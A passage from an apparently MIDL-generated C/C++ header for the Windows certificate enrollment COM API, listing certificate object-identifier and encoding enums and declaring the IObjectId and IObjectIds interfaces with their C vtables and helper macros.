151,\n\tXCN_OID_SEE_ALSO\t= 152,\n\tXCN_OID_USER_PASSWORD\t= 153,\n\tXCN_OID_USER_CERTIFICATE\t= 154,\n\tXCN_OID_CA_CERTIFICATE\t= 155,\n\tXCN_OID_AUTHORITY_REVOCATION_LIST\t= 156,\n\tXCN_OID_CERTIFICATE_REVOCATION_LIST\t= 157,\n\tXCN_OID_CROSS_CERTIFICATE_PAIR\t= 158,\n\tXCN_OID_GIVEN_NAME\t= 159,\n\tXCN_OID_INITIALS\t= 160,\n\tXCN_OID_DN_QUALIFIER\t= 161,\n\tXCN_OID_DOMAIN_COMPONENT\t= 162,\n\tXCN_OID_PKCS_12_FRIENDLY_NAME_ATTR\t= 163,\n\tXCN_OID_PKCS_12_LOCAL_KEY_ID\t= 164,\n\tXCN_OID_PKCS_12_KEY_PROVIDER_NAME_ATTR\t= 165,\n\tXCN_OID_LOCAL_MACHINE_KEYSET\t= 166,\n\tXCN_OID_PKCS_12_EXTENDED_ATTRIBUTES\t= 167,\n\tXCN_OID_KEYID_RDN\t= 168,\n\tXCN_OID_AUTHORITY_KEY_IDENTIFIER\t= 169,\n\tXCN_OID_KEY_ATTRIBUTES\t= 170,\n\tXCN_OID_CERT_POLICIES_95\t= 171,\n\tXCN_OID_KEY_USAGE_RESTRICTION\t= 172,\n\tXCN_OID_SUBJECT_ALT_NAME\t= 173,\n\tXCN_OID_ISSUER_ALT_NAME\t= 174,\n\tXCN_OID_BASIC_CONSTRAINTS\t= 175,\n\tXCN_OID_KEY_USAGE\t= 176,\n\tXCN_OID_PRIVATEKEY_USAGE_PERIOD\t= 177,\n\tXCN_OID_BASIC_CONSTRAINTS2\t= 178,\n\tXCN_OID_CERT_POLICIES\t= 179,\n\tXCN_OID_ANY_CERT_POLICY\t= 180,\n\tXCN_OID_AUTHORITY_KEY_IDENTIFIER2\t= 181,\n\tXCN_OID_SUBJECT_KEY_IDENTIFIER\t= 182,\n\tXCN_OID_SUBJECT_ALT_NAME2\t= 183,\n\tXCN_OID_ISSUER_ALT_NAME2\t= 184,\n\tXCN_OID_CRL_REASON_CODE\t= 185,\n\tXCN_OID_REASON_CODE_HOLD\t= 186,\n\tXCN_OID_CRL_DIST_POINTS\t= 187,\n\tXCN_OID_ENHANCED_KEY_USAGE\t= 188,\n\tXCN_OID_CRL_NUMBER\t= 189,\n\tXCN_OID_DELTA_CRL_INDICATOR\t= 190,\n\tXCN_OID_ISSUING_DIST_POINT\t= 191,\n\tXCN_OID_FRESHEST_CRL\t= 192,\n\tXCN_OID_NAME_CONSTRAINTS\t= 193,\n\tXCN_OID_POLICY_MAPPINGS\t= 194,\n\tXCN_OID_LEGACY_POLICY_MAPPINGS\t= 195,\n\tXCN_OID_POLICY_CONSTRAINTS\t= 196,\n\tXCN_OID_RENEWAL_CERTIFICATE\t= 197,\n\tXCN_OID_ENROLLMENT_NAME_VALUE_PAIR\t= 198,\n\tXCN_OID_ENROLLMENT_CSP_PROVIDER\t= 199,\n\tXCN_OID_OS_VERSION\t= 200,\n\tXCN_OID_ENROLLMENT_AGENT\t= 201,\n\tXCN_OID_PKIX\t= 202,\n\tXCN_OID_PKIX_PE\t= 203,\n\tXCN_OID_AUTHORITY_INFO_ACCESS\t= 204,\n\tXCN_OID_BIOMETRIC_EXT\t= 205,\n\tXCN_OID_LOGOTYPE_EXT\t= 206,\n\tXCN_OID_CERT_EXTENSIONS\t= 207,\n\tXCN_OID_NEXT_UPDATE_LOCATION\t= 208,\n\tXCN_OID_REMOVE_CERTIFICATE\t= 209,\n\tXCN_OID_CROSS_CERT_DIST_POINTS\t= 210,\n\tXCN_OID_CTL\t= 211,\n\tXCN_OID_SORTED_CTL\t= 212,\n\tXCN_OID_SERIALIZED\t= 213,\n\tXCN_OID_NT_PRINCIPAL_NAME\t= 214,\n\tXCN_OID_PRODUCT_UPDATE\t= 215,\n\tXCN_OID_ANY_APPLICATION_POLICY\t= 216,\n\tXCN_OID_AUTO_ENROLL_CTL_USAGE\t= 217,\n\tXCN_OID_ENROLL_CERTTYPE_EXTENSION\t= 218,\n\tXCN_OID_CERT_MANIFOLD\t= 219,\n\tXCN_OID_CERTSRV_CA_VERSION\t= 220,\n\tXCN_OID_CERTSRV_PREVIOUS_CERT_HASH\t= 221,\n\tXCN_OID_CRL_VIRTUAL_BASE\t= 222,\n\tXCN_OID_CRL_NEXT_PUBLISH\t= 223,\n\tXCN_OID_KP_CA_EXCHANGE\t= 224,\n\tXCN_OID_KP_KEY_RECOVERY_AGENT\t= 225,\n\tXCN_OID_CERTIFICATE_TEMPLATE\t= 226,\n\tXCN_OID_ENTERPRISE_OID_ROOT\t= 227,\n\tXCN_OID_RDN_DUMMY_SIGNER\t= 228,\n\tXCN_OID_APPLICATION_CERT_POLICIES\t= 229,\n\tXCN_OID_APPLICATION_POLICY_MAPPINGS\t= 230,\n\tXCN_OID_APPLICATION_POLICY_CONSTRAINTS\t= 231,\n\tXCN_OID_ARCHIVED_KEY_ATTR\t= 232,\n\tXCN_OID_CRL_SELF_CDP\t= 233,\n\tXCN_OID_REQUIRE_CERT_CHAIN_POLICY\t= 234,\n\tXCN_OID_ARCHIVED_KEY_CERT_HASH\t= 235,\n\tXCN_OID_ISSUED_CERT_HASH\t= 236,\n\tXCN_OID_DS_EMAIL_REPLICATION\t= 237,\n\tXCN_OID_REQUEST_CLIENT_INFO\t= 238,\n\tXCN_OID_ENCRYPTED_KEY_HASH\t= 239,\n\tXCN_OID_CERTSRV_CROSSCA_VERSION\t= 240,\n\tXCN_OID_NTDS_REPLICATION\t= 241,\n\tXCN_OID_SUBJECT_DIR_ATTRS\t= 242,\n\tXCN_OID_PKIX_KP\t= 243,\n\tXCN_OID_PKIX_KP_SERVER_AUTH\t= 244,\n\tXCN_OID_PKIX_KP_CLIENT_AUTH\t= 245,\n\tXCN_OID_PKIX_KP_CODE_SIGNING\t= 246,\n\tXCN_OID_PKIX_KP_EMAIL_PROTECTION\t= 247,\n\tXCN_OID_PKIX_KP_IPSEC_END_SYSTEM\t= 248,\n\tXCN_OID_PKIX_KP_IPSEC_TUNNEL\t= 249,\n\tXCN_OID_PKIX_KP_IPSEC_USER\t= 250,\n\tXCN_OID_PKIX_KP_TIMESTAMP_SIGNING\t= 251,\n\tXCN_OID_PKIX_KP_OCSP_SIGNING\t= 252,\n\tXCN_OID_PKIX_OCSP_NOCHECK\t= 253,\n\tXCN_OID_IPSEC_KP_IKE_INTERMEDIATE\t= 254,\n\tXCN_OID_KP_CTL_USAGE_SIGNING\t= 255,\n\tXCN_OID_KP_TIME_STAMP_SIGNING\t= 256,\n\tXCN_OID_SERVER_GATED_CRYPTO\t= 257,\n\tXCN_OID_SGC_NETSCAPE\t= 258,\n\tXCN_OID_KP_EFS\t= 259,\n\tXCN_OID_EFS_RECOVERY\t= 260,\n\tXCN_OID_WHQL_CRYPTO\t= 261,\n\tXCN_OID_NT5_CRYPTO\t= 262,\n\tXCN_OID_OEM_WHQL_CRYPTO\t= 263,\n\tXCN_OID_EMBEDDED_NT_CRYPTO\t= 264,\n\tXCN_OID_ROOT_LIST_SIGNER\t= 265,\n\tXCN_OID_KP_QUALIFIED_SUBORDINATION\t= 266,\n\tXCN_OID_KP_KEY_RECOVERY\t= 267,\n\tXCN_OID_KP_DOCUMENT_SIGNING\t= 268,\n\tXCN_OID_KP_LIFETIME_SIGNING\t= 269,\n\tXCN_OID_KP_MOBILE_DEVICE_SOFTWARE\t= 270,\n\tXCN_OID_KP_SMART_DISPLAY\t= 271,\n\tXCN_OID_KP_CSP_SIGNATURE\t= 272,\n\tXCN_OID_DRM\t= 273,\n\tXCN_OID_DRM_INDIVIDUALIZATION\t= 274,\n\tXCN_OID_LICENSES\t= 275,\n\tXCN_OID_LICENSE_SERVER\t= 276,\n\tXCN_OID_KP_SMARTCARD_LOGON\t= 277,\n\tXCN_OID_YESNO_TRUST_ATTR\t= 278,\n\tXCN_OID_PKIX_POLICY_QUALIFIER_CPS\t= 279,\n\tXCN_OID_PKIX_POLICY_QUALIFIER_USERNOTICE\t= 280,\n\tXCN_OID_CERT_POLICIES_95_QUALIFIER1\t= 281,\n\tXCN_OID_PKIX_ACC_DESCR\t= 282,\n\tXCN_OID_PKIX_OCSP\t= 283,\n\tXCN_OID_PKIX_CA_ISSUERS\t= 284,\n\tXCN_OID_VERISIGN_PRIVATE_6_9\t= 285,\n\tXCN_OID_VERISIGN_ONSITE_JURISDICTION_HASH\t= 286,\n\tXCN_OID_VERISIGN_BITSTRING_6_13\t= 287,\n\tXCN_OID_VERISIGN_ISS_STRONG_CRYPTO\t= 288,\n\tXCN_OID_NETSCAPE\t= 289,\n\tXCN_OID_NETSCAPE_CERT_EXTENSION\t= 290,\n\tXCN_OID_NETSCAPE_CERT_TYPE\t= 291,\n\tXCN_OID_NETSCAPE_BASE_URL\t= 292,\n\tXCN_OID_NETSCAPE_REVOCATION_URL\t= 293,\n\tXCN_OID_NETSCAPE_CA_REVOCATION_URL\t= 294,\n\tXCN_OID_NETSCAPE_CERT_RENEWAL_URL\t= 295,\n\tXCN_OID_NETSCAPE_CA_POLICY_URL\t= 296,\n\tXCN_OID_NETSCAPE_SSL_SERVER_NAME\t= 297,\n\tXCN_OID_NETSCAPE_COMMENT\t= 298,\n\tXCN_OID_NETSCAPE_DATA_TYPE\t= 299,\n\tXCN_OID_NETSCAPE_CERT_SEQUENCE\t= 300,\n\tXCN_OID_CT_PKI_DATA\t= 301,\n\tXCN_OID_CT_PKI_RESPONSE\t= 302,\n\tXCN_OID_PKIX_NO_SIGNATURE\t= 303,\n\tXCN_OID_CMC\t= 304,\n\tXCN_OID_CMC_STATUS_INFO\t= 305,\n\tXCN_OID_CMC_IDENTIFICATION\t= 306,\n\tXCN_OID_CMC_IDENTITY_PROOF\t= 307,\n\tXCN_OID_CMC_DATA_RETURN\t= 308,\n\tXCN_OID_CMC_TRANSACTION_ID\t= 309,\n\tXCN_OID_CMC_SENDER_NONCE\t= 310,\n\tXCN_OID_CMC_RECIPIENT_NONCE\t= 311,\n\tXCN_OID_CMC_ADD_EXTENSIONS\t= 312,\n\tXCN_OID_CMC_ENCRYPTED_POP\t= 313,\n\tXCN_OID_CMC_DECRYPTED_POP\t= 314,\n\tXCN_OID_CMC_LRA_POP_WITNESS\t= 315,\n\tXCN_OID_CMC_GET_CERT\t= 316,\n\tXCN_OID_CMC_GET_CRL\t= 317,\n\tXCN_OID_CMC_REVOKE_REQUEST\t= 318,\n\tXCN_OID_CMC_REG_INFO\t= 319,\n\tXCN_OID_CMC_RESPONSE_INFO\t= 320,\n\tXCN_OID_CMC_QUERY_PENDING\t= 321,\n\tXCN_OID_CMC_ID_POP_LINK_RANDOM\t= 322,\n\tXCN_OID_CMC_ID_POP_LINK_WITNESS\t= 323,\n\tXCN_OID_CMC_ID_CONFIRM_CERT_ACCEPTANCE\t= 324,\n\tXCN_OID_CMC_ADD_ATTRIBUTES\t= 325,\n\tXCN_OID_LOYALTY_OTHER_LOGOTYPE\t= 326,\n\tXCN_OID_BACKGROUND_OTHER_LOGOTYPE\t= 327,\n\tXCN_OID_PKIX_OCSP_BASIC_SIGNED_RESPONSE\t= 328,\n\tXCN_OID_PKCS_7_DATA\t= 329,\n\tXCN_OID_PKCS_7_SIGNED\t= 330,\n\tXCN_OID_PKCS_7_ENVELOPED\t= 331,\n\tXCN_OID_PKCS_7_SIGNEDANDENVELOPED\t= 332,\n\tXCN_OID_PKCS_7_DIGESTED\t= 333,\n\tXCN_OID_PKCS_7_ENCRYPTED\t= 334,\n\tXCN_OID_PKCS_9_CONTENT_TYPE\t= 335,\n\tXCN_OID_PKCS_9_MESSAGE_DIGEST\t= 336,\n\tXCN_OID_CERT_PROP_ID_PREFIX\t= 337,\n\tXCN_OID_CERT_KEY_IDENTIFIER_PROP_ID\t= 338,\n\tXCN_OID_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 339,\n\tXCN_OID_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 340,\n\tXCN_OID_CERT_MD5_HASH_PROP_ID\t= 341,\n\tXCN_OID_RSA_SHA256RSA\t= 342,\n\tXCN_OID_RSA_SHA384RSA\t= 343,\n\tXCN_OID_RSA_SHA512RSA\t= 344,\n\tXCN_OID_NIST_sha256\t= 345,\n\tXCN_OID_NIST_sha384\t= 346,\n\tXCN_OID_NIST_sha512\t= 347,\n\tXCN_OID_RSA_MGF1\t= 348,\n\tXCN_OID_ECC_PUBLIC_KEY\t= 349,\n\tXCN_OID_RSA_SSA_PSS\t= 353,\n\tXCN_OID_ECDSA_SHA1\t= 354,\n\tXCN_OID_ECDSA_SPECIFIED\t= 354\n    } \tCERTENROLL_OBJECTID;\n\ntypedef \nenum WebSecurityLevel\n    {\tLevelUnsafe\t= 0,\n\tLevelSafe\t= 1\n    } \tWebSecurityLevel;\n\n#define\tCERTENROLL_INDEX_BASE\t( 0 )\n\ntypedef \nenum EncodingType\n    {\tXCN_CRYPT_STRING_BASE64HEADER\t= 0,\n\tXCN_CRYPT_STRING_BASE64\t= 0x1,\n\tXCN_CRYPT_STRING_BINARY\t= 0x2,\n\tXCN_CRYPT_STRING_BASE64REQUESTHEADER\t= 0x3,\n\tXCN_CRYPT_STRING_HEX\t= 0x4,\n\tXCN_CRYPT_STRING_HEXASCII\t= 0x5,\n\tXCN_CRYPT_STRING_BASE64_ANY\t= 0x6,\n\tXCN_CRYPT_STRING_ANY\t= 0x7,\n\tXCN_CRYPT_STRING_HEX_ANY\t= 0x8,\n\tXCN_CRYPT_STRING_BASE64X509CRLHEADER\t= 0x9,\n\tXCN_CRYPT_STRING_HEXADDR\t= 0xa,\n\tXCN_CRYPT_STRING_HEXASCIIADDR\t= 0xb,\n\tXCN_CRYPT_STRING_HEXRAW\t= 0xc,\n\tXCN_CRYPT_STRING_HASHDATA\t= 0x10000000,\n\tXCN_CRYPT_STRING_STRICT\t= 0x20000000,\n\tXCN_CRYPT_STRING_NOCRLF\t= 0x40000000,\n\tXCN_CRYPT_STRING_NOCR\t= 0x80000000\n    } \tEncodingType;\n\ntypedef \nenum PFXExportOptions\n    {\tPFXExportEEOnly\t= 0,\n\tPFXExportChainNoRoot\t= 1,\n\tPFXExportChainWithRoot\t= 2\n    } \tPFXExportOptions;\n\ntypedef \nenum ObjectIdGroupId\n    {\tXCN_CRYPT_ANY_GROUP_ID\t= 0,\n\tXCN_CRYPT_HASH_ALG_OID_GROUP_ID\t= 1,\n\tXCN_CRYPT_ENCRYPT_ALG_OID_GROUP_ID\t= 2,\n\tXCN_CRYPT_PUBKEY_ALG_OID_GROUP_ID\t= 3,\n\tXCN_CRYPT_SIGN_ALG_OID_GROUP_ID\t= 4,\n\tXCN_CRYPT_RDN_ATTR_OID_GROUP_ID\t= 5,\n\tXCN_CRYPT_EXT_OR_ATTR_OID_GROUP_ID\t= 6,\n\tXCN_CRYPT_ENHKEY_USAGE_OID_GROUP_ID\t= 7,\n\tXCN_CRYPT_POLICY_OID_GROUP_ID\t= 8,\n\tXCN_CRYPT_TEMPLATE_OID_GROUP_ID\t= 9,\n\tXCN_CRYPT_LAST_OID_GROUP_ID\t= 10,\n\tXCN_CRYPT_FIRST_ALG_OID_GROUP_ID\t= 1,\n\tXCN_CRYPT_LAST_ALG_OID_GROUP_ID\t= 4,\n\tXCN_CRYPT_GROUP_ID_MASK\t= 0xffff,\n\tXCN_CRYPT_OID_PREFER_CNG_ALGID_FLAG\t= 0x40000000,\n\tXCN_CRYPT_OID_DISABLE_SEARCH_DS_FLAG\t= 0x80000000,\n\tXCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_MASK\t= 0xfff0000,\n\tXCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_SHIFT\t= 16,\n\tXCN_CRYPT_KEY_LENGTH_MASK\t= 0xfff0000\n    } \tObjectIdGroupId;\n\ntypedef \nenum ObjectIdPublicKeyFlags\n    {\tXCN_CRYPT_OID_INFO_PUBKEY_ANY\t= 0,\n\tXCN_CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG\t= 0x80000000,\n\tXCN_CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG\t= 0x40000000\n    } \tObjectIdPublicKeyFlags;\n\ntypedef \nenum AlgorithmFlags\n    {\tAlgorithmFlagsNone\t= 0,\n\tAlgorithmFlagsWrap\t= 0x1\n    } \tAlgorithmFlags;\n\n// Should be from certcli.h\ntypedef \nenum X509EnrollmentAuthFlags \n    {   X509AuthNone,\n    X509AuthAnonymous,\n    X509AuthKerberos,\n    X509AuthUsername,\n    X509AuthCertificate\n    }   X509EnrollmentAuthFlags;\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_s_ifspec;\n\n#ifndef __IObjectId_INTERFACE_DEFINED__\n#define __IObjectId_INTERFACE_DEFINED__\n\n/* interface IObjectId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab300-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectId : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ CERTENROLL_OBJECTID Name) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromValue( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectId * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ CERTENROLL_OBJECTID Name);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromValue )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName);\n        \n        END_INTERFACE\n    } IObjectIdVtbl;\n\n    interface IObjectId\n    {\n        CONST_VTBL struct IObjectIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectId_InitializeFromName(This,Name)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,Name) ) \n\n#define IObjectId_InitializeFromValue(This,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromValue(This,strValue) ) \n\n#define IObjectId_InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName)\t\\\n    ( (This)->lpVtbl -> InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName) ) \n\n#define IObjectId_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IObjectId_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IObjectId_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IObjectId_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IObjectId_GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IObjectIds_INTERFACE_DEFINED__\n#define __IObjectIds_INTERFACE_DEFINED__\n\n/* interface IObjectIds */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectIds;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab301-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectIds : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IObjectId *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectIds * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectIds * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectIds * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectId *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        END_INTERFACE\n    } 